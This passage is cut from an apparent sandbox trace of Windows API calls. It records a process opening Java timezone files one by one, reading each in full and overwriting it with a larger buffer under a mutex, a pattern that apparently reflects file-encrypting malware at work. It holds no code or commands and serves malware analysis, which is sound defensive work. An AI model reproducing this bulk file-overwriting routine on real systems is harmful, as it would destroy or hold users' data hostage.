lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0048.346] WriteFile (in: hFile=0x1cc, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x6d9, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x32cf2d0*=0x6d9, lpOverlapped=0x0) returned 1 [0048.435] CloseHandle (hObject=0x1cc) returned 1 [0048.435] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Lusaka" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\lusaka"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0048.437] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0048.437] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x41 [0048.437] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0048.437] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.437] ReleaseMutex (hMutex=0x128) returned 1 [0048.437] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Lusaka", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0048.437] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Lusaka", cchWideChar=6, lpMultiByteStr=0x1e6aa2c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Lusaka", lpUsedDefaultChar=0x0) returned 6 [0048.437] ReadFile (in: hFile=0x1cc, lpBuffer=0x1eaa9f8, nNumberOfBytesToRead=0x41, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1eaa9f8*, lpNumberOfBytesRead=0x32cf2bc*=0x41, lpOverlapped=0x0) returned 1 [0048.438] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0048.438] WriteFile (in: hFile=0x1cc, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5c9, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x32cf2d0*=0x5c9, lpOverlapped=0x0) returned 1 [0048.438] CloseHandle (hObject=0x1cc) returned 1 [0048.438] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Nouakchott" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\nouakchott"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0048.439] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0048.439] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x55 [0048.439] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0048.439] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.439] ReleaseMutex (hMutex=0x128) returned 1 [0048.439] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Nouakchott", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0048.439] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Nouakchott", cchWideChar=10, lpMultiByteStr=0x1e6314c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Nouakchott", lpUsedDefaultChar=0x0) returned 10 [0048.439] ReadFile (in: hFile=0x1cc, lpBuffer=0x1ea3eb8, nNumberOfBytesToRead=0x55, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1ea3eb8*, lpNumberOfBytesRead=0x32cf2bc*=0x55, lpOverlapped=0x0) returned 1 [0048.440] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0048.440] WriteFile (in: hFile=0x1cc, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x5dd, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x32cf2d0*=0x5dd, lpOverlapped=0x0) returned 1 [0048.440] CloseHandle (hObject=0x1cc) returned 1 [0048.441] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Antigua" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\antigua"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0048.442] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0048.442] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x4d [0048.442] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0048.442] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.442] ReleaseMutex (hMutex=0x128) returned 1 [0048.442] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Antigua", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0048.442] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Antigua", cchWideChar=7, lpMultiByteStr=0x1e6aa2c, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Antigua", lpUsedDefaultChar=0x0) returned 7 [0048.442] ReadFile (in: hFile=0x1cc, lpBuffer=0x1e8f468, nNumberOfBytesToRead=0x4d, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e8f468*, lpNumberOfBytesRead=0x32cf2bc*=0x4d, lpOverlapped=0x0) returned 1 [0048.443] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0048.443] WriteFile (in: hFile=0x1cc, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x5d5, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x32cf2d0*=0x5d5, lpOverlapped=0x0) returned 1 [0048.443] CloseHandle (hObject=0x1cc) returned 1 [0048.443] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Argentina\\San_Juan" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\argentina\\san_juan"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0048.444] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0048.444] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x22d [0048.444] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0048.444] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.444] ReleaseMutex (hMutex=0x128) returned 1 [0048.444] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="San_Juan", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0048.444] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="San_Juan", cchWideChar=8, lpMultiByteStr=0x1e62fec, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="San_Juan", lpUsedDefaultChar=0x0) returned 8 [0048.444] ReadFile (in: hFile=0x1cc, lpBuffer=0x1e0de08, nNumberOfBytesToRead=0x22d, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e0de08*, lpNumberOfBytesRead=0x32cf2bc*=0x22d, lpOverlapped=0x0) returned 1 [0048.445] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0048.445] WriteFile (in: hFile=0x1cc, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x7b5, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x32cf2d0*=0x7b5, lpOverlapped=0x0) returned 1 [0048.445] CloseHandle (hObject=0x1cc) returned 1 [0048.445] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Belem" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\belem"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0048.446] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0048.446] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x129 [0048.446] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0048.446] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.446] ReleaseMutex (hMutex=0x128) returned 1 [0048.446] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Belem", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0048.446] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Belem", cchWideChar=5, lpMultiByteStr=0x1e6aa2c, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Belem", lpUsedDefaultChar=0x0) returned 5 [0048.446] ReadFile (in: hFile=0x1cc, lpBuffer=0x262e838, nNumberOfBytesToRead=0x129, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x262e838*, lpNumberOfBytesRead=0x32cf2bc*=0x129, lpOverlapped=0x0) returned 1 [0048.447] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0048.447] WriteFile (in: hFile=0x1cc, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x6b1, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x32cf2d0*=0x6b1, lpOverlapped=0x0) returned 1 [0048.447] CloseHandle (hObject=0x1cc) returned 1 [0048.447] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Cayenne" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\cayenne"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0048.448] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0048.448] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x4d [0048.448] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0048.448] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.448] ReleaseMutex (hMutex=0x128) returned 1 [0048.448] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Cayenne", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0048.448] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Cayenne", cchWideChar=7, lpMultiByteStr=0x1e6aa2c, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Cayenne", lpUsedDefaultChar=0x0) returned 7 [0048.448] ReadFile (in: hFile=0x1cc, lpBuffer=0x1e8f468, nNumberOfBytesToRead=0x4d, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e8f468*, lpNumberOfBytesRead=0x32cf2bc*=0x4d, lpOverlapped=0x0) returned 1 [0048.449] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0048.449] WriteFile (in: hFile=0x1cc, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x5d5, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x32cf2d0*=0x5d5, lpOverlapped=0x0) returned 1 [0048.449] CloseHandle (hObject=0x1cc) returned 1 [0048.449] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Dawson_Creek" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\dawson_creek"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0048.449] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0048.450] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x1fd [0048.450] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0048.450] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.450] ReleaseMutex (hMutex=0x128) returned 1 [0048.450] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dawson_Creek", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0048.450] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dawson_Creek", cchWideChar=12, lpMultiByteStr=0x1e6314c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dawson_Creek", lpUsedDefaultChar=0x0) returned 12 [0048.450] ReadFile (in: hFile=0x1cc, lpBuffer=0x1e4cf28, nNumberOfBytesToRead=0x1fd, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e4cf28*, lpNumberOfBytesRead=0x32cf2bc*=0x1fd, lpOverlapped=0x0) returned 1 [0048.451] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0048.451] WriteFile (in: hFile=0x1cc, lpBuffer=0x27e6cb8*, nNumberOfBytesToWrite=0x785, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x27e6cb8*, lpNumberOfBytesWritten=0x32cf2d0*=0x785, lpOverlapped=0x0) returned 1 [0048.451] CloseHandle (hObject=0x1cc) returned 1 [0048.451] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Goose_Bay" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\goose_bay"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0048.451] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0048.451] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x6c0 [0048.451] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0048.451] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.451] ReleaseMutex (hMutex=0x128) returned 1 [0048.451] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Goose_Bay", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0048.452] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Goose_Bay", cchWideChar=9, lpMultiByteStr=0x1e62fec, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Goose_Bay", lpUsedDefaultChar=0x0) returned 9 [0048.452] ReadFile (in: hFile=0x1cc, lpBuffer=0x261fa88, nNumberOfBytesToRead=0x6c0, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesRead=0x32cf2bc*=0x6c0, lpOverlapped=0x0) returned 1 [0048.775] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0048.778] WriteFile (in: hFile=0x1cc, lpBuffer=0x276b358*, nNumberOfBytesToWrite=0xc48, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x276b358*, lpNumberOfBytesWritten=0x32cf2d0*=0xc48, lpOverlapped=0x0) returned 1 [0048.778] CloseHandle (hObject=0x1cc) returned 1 [0048.778] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Indiana\\Indianapolis" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\indiana\\indianapolis"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0048.931] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0048.931] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x364 [0048.931] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0048.931] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.931] ReleaseMutex (hMutex=0x128) returned 1 [0048.931] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Indianapolis", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0048.932] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Indianapolis", cchWideChar=12, lpMultiByteStr=0x1e6314c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Indianapolis", lpUsedDefaultChar=0x0) returned 12 [0048.932] ReadFile (in: hFile=0x1a8, lpBuffer=0x2750828, nNumberOfBytesToRead=0x364, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x2750828*, lpNumberOfBytesRead=0x32cf2bc*=0x364, lpOverlapped=0x0) returned 1 [0048.940] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0048.940] WriteFile (in: hFile=0x1a8, lpBuffer=0x27ac368*, nNumberOfBytesToWrite=0x8ec, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x27ac368*, lpNumberOfBytesWritten=0x32cf2d0*=0x8ec, lpOverlapped=0x0) returned 1 [0048.940] CloseHandle (hObject=0x1a8) returned 1 [0048.940] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Jamaica" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\jamaica"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0050.048] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0050.048] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0xe9 [0050.048] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0050.048] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.049] ReleaseMutex (hMutex=0x128) returned 1 [0050.050] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Jamaica", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0050.050] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Jamaica", cchWideChar=7, lpMultiByteStr=0x1e6aa2c, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Jamaica", lpUsedDefaultChar=0x0) returned 7 [0050.051] ReadFile (in: hFile=0x1a8, lpBuffer=0x2737b58, nNumberOfBytesToRead=0xe9, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x2737b58*, lpNumberOfBytesRead=0x32cf2bc*=0xe9, lpOverlapped=0x0) returned 1 [0050.065] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0050.069] WriteFile (in: hFile=0x1a8, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x671, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x32cf2d0*=0x671, lpOverlapped=0x0) returned 1 [0050.071] CloseHandle (hObject=0x1a8) returned 1 [0050.071] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Martinique" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\martinique"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0050.247] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0050.247] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x59 [0050.248] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0050.248] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.248] ReleaseMutex (hMutex=0x128) returned 1 [0050.248] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Martinique", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0050.248] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Martinique", cchWideChar=10, lpMultiByteStr=0x1e6314c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Martinique", lpUsedDefaultChar=0x0) returned 10 [0050.248] ReadFile (in: hFile=0x1ac, lpBuffer=0x1ea3eb8, 